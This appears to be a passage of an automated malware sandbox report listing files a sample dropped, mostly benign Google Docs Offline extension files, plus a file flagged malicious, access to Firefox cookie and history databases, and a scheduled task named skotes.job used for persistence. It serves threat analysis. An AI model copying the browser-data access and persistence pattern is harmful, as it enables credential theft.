Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.751992630887702
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvUpGTcjG:m8IEI4u8Rp
MD5:	250C48F4915DD4C0DFA7E7E021A4F066
SHA1:	092A98BF40D8C18280393BF3811A7DFA9A9FD326
SHA-256:	26D9B129339E2E2EB8E0223E16DB3CF0EA220AC0799480D462C236E6A425665E
SHA-512:	8B18E232992E55E8DA97AC46D7AACA061508341D1EADCEFF1E9D0677734DFA8B892AB44754A3AA100585F5B2F2562BC4F2D7103065050FFCD00F91D5915CE5E6
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417833205646285
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1K9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APKgiVb
MD5:	236D2DD305D64C2B6ABD232ED53270DF
SHA1:	9F6885E95FBC4213631F0B0EA49C803D07D34136
SHA-256:	2A4D526B9D1C8665427FB9E0DA58D16FDDE382DD74C1258941B18701EF7880C3
SHA-512:	B76AF22153F79BCA2429A23746A62A430A521E952E7F94936648ECFD25AFDD9801ACBF6FD16941918A4FEDE39DE747AB6C6336BC86CA74384920AF7E815DB855
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3777)
Category:	dropped
Size (bytes):	98880
Entropy (8bit):	5.414989230634404
Encrypted:	false
SSDEEP:	1536:M+TW9bPq1M3ZOC0pJ/BjXf3Zk/7hry6fq66V3gr9KUw5SXfPxhZhGurH6c/V:WPLZwJJXf3ZvRV3gJKU/fP+urHRV
MD5:	DC93A1045D1AD8D7ADD06B93B2FE79E2
SHA1:	CAFCC8DB7F8E3FD2F8C1EFAC7B385D7616F55EA3
SHA-256:	D5CEB4449384CD2D7898C052B7B99417961880945FC4EAE80EBBAF8E24CC0A3E
SHA-512:	025F7103D1F7D607825BE916D0131C1E04B295EB562974A77F5A16E7BF40250B5608071779B420E4738F86F09A6F7C889469FA898268894FFFEEB7465C589E81
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3782)
Category:	dropped
Size (bytes):	107677
Entropy (8bit):	5.396220758526552
Encrypted:	false
SSDEEP:	1536:7nwyvB1qCo7mWUgsUopF5Xy4FlAwxdhvHcrdncqAKxwjBnKwIDQgrOChkPIgmrCp:wh6gstXy4FM5ncJKxCnKWgrd0v
MD5:	E8015AC436B33034EDF7DA060E853A04
SHA1:	62D0F6EB0E441158A1F56F6E0C70D3D229B57886
SHA-256:	23C953E989FF4AF6126D4A3B2AD21B33A82512FC8768045C00F05940DE2C9978
SHA-512:	C35AC8692FC22B78365CA202E173A90AE4B5DBA338B7FC9EEB17EDDF5868B52CF1D13DC0EDAF36BE1CC0E0152F41AC4027C51D7ECA27778B483E3FC83F11EA82
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function k(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsIJEGDBGDBF.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1881088
Entropy (8bit):	7.94968304003444
Encrypted:	false
SSDEEP:	49152:PMGDMQEgEDs8SLI5GQ3+l1cxRGPfyJgSuOB3X:PMLZuIgQuxpSbF
MD5:	1DAA3A0AA5ED7E06B400A47309BA5003
SHA1:	8D475FD4BE28EE701DBE5E2FE489FE9E9B3E826D
SHA-256:	C3D0427B8BC9D084AC65B881EC50F55BE52650F60850AC05010CCC8D56E3D1CB
SHA-512:	BC671CD250579413E693D2A61C2873A776A7C39125ADDD78B7A39A268C508FB638CD7C552FAABD3AC9A53BAF4B97086173AF09264DD68E2F5A7516B55A3F2ED8
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................PJ...........@...........................J......Z....@.................................W...k.......H....................3J.............................P3J..................................................... . ............................@....rsrc...H...........................@....idata ............................@... ..).........................@...fydbnmjr......0.....................@...ftxffxns.....@J.....................@....taggant.0...PJ.."..................@...................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsIJEGDBGDBF.exe
File Type:	data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	3.43168782153893
Encrypted:	false
SSDEEP:	6:fRCpXUhXUEZ+lX1CGdKUe6tE9+AQy0lBzlQldt0:fRY4Q1CGAFD9+nVBz+dt0
MD5:	9C86180F976898E12E4CDCDB87F9B417
SHA1:	22D880E4EE4BC54819CC5C574BC3B142926F7FB1
SHA-256:	F66A3F73558F34FB72BADA632FC9020353F08F9F60740792D5DAFD0C4A898639
SHA-512:	CD4E9D52B089A98CFF5280D69A81A28893429A78102F68B703CD2E5803E426404AF979EB330F76897BA609D3365D3414FE21E45528E575AFBC1223402FB52947
Malicious:	false
Preview:	.......sDz.M.L.~...EF.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0.................-.@3P.........................

Chrome Cache Entry: 306

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3254)
Category:	downloaded
Size (bytes):	3259
Entropy (8bit):	5.8289277539965605
Encrypted:	false
